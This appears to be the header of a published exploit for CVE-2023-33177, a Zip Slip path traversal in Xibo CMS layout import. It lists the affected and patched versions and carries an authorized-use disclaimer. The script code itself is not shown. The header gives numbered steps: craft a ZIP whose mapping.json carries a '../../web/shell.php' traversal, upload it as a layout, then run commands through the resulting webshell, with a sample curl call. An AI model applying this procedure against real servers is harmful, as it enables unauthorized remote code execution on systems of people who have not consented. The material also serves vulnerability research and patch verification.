# Exploit Title: XiboCMS 3.3.4-  Remote Code Execution
# Google Dork: N/A
# Date: 2025-11-18
# Exploit Author: complexusprada
# Vendor Homepage: https://xibo.org.uk/
# Software Link: https://github.com/xibosignage/xibo-cms
# Version: 1.8.0 - 2.3.16, 3.0.0 - 3.3.4
# Tested on: Ubuntu Linux (Docker), Xibo CMS 3.3.4
# CVE: CVE-2023-33177
# GHSA: GHSA-jj27-x85q-crqv
# Category: webapps

"""
# Vulnerability Description:
# Xibo CMS contains a path traversal vulnerability (Zip Slip) in the layout import
# functionality. The application fails to properly validate file paths in the mapping.json
# file within uploaded ZIP archives, allowing authenticated attackers to write files
# outside the intended library directory using path traversal sequences (../../).
# This results in arbitrary file upload and remote code execution.

# Exploitation Details:
# 1. Attacker creates a malicious ZIP file containing a valid Xibo layout structure
# 2. The mapping.json file contains a path traversal payload (../../web/shell.php)
# 3. A PHP webshell is placed at the corresponding path within the ZIP structure
# 4. When the layout is imported, Xibo extracts files without proper path validation
# 5. The webshell is written to the web root (/var/www/cms/web/shell.php)
# 6. Attacker gains remote code execution via the webshell

# Vulnerability Chain:
# ZIP contains:  library/../../web/shell.php
# Mapping.json:  {"file": "../../web/shell.php", ...}
# Xibo reads:    library/ + ../../web/shell.php
# Xibo writes:   /var/www/cms/library/temp/ + ../../web/shell.php
# Result:        /var/www/cms/web/shell.php (webshell in web root!)

# Prerequisites:
# - Valid Xibo CMS credentials (any authenticated user with layout import permission)
# - Xibo CMS versions 1.8.0 - 2.3.16 or 3.0.0 - 3.3.4

# Exploitation Steps:
# 1. Run this script to generate exploit.zip
# 2. Log in to Xibo CMS
# 3. Navigate to: Design → Layouts → Import
# 4. Upload the generated exploit.zip file
# 5. Even if JSON errors occur, the webshell has been written to disk
# 6. Access webshell at: http://<target>/shell.php?cmd=<command>
# Example: curl 'http://target/shell.php?cmd=id'

# Mitigation:
# Upgrade to patched versions:
# - Xibo CMS 2.3.17+ (for 2.x branch)
# - Xibo CMS 3.3.5+ (for 3.x branch)

# Disclaimer:
# This exploit is provided for educational purposes, authorized penetration testing,
# and vulnerability research only. Only use against systems you own or have explicit
# written permission to test.
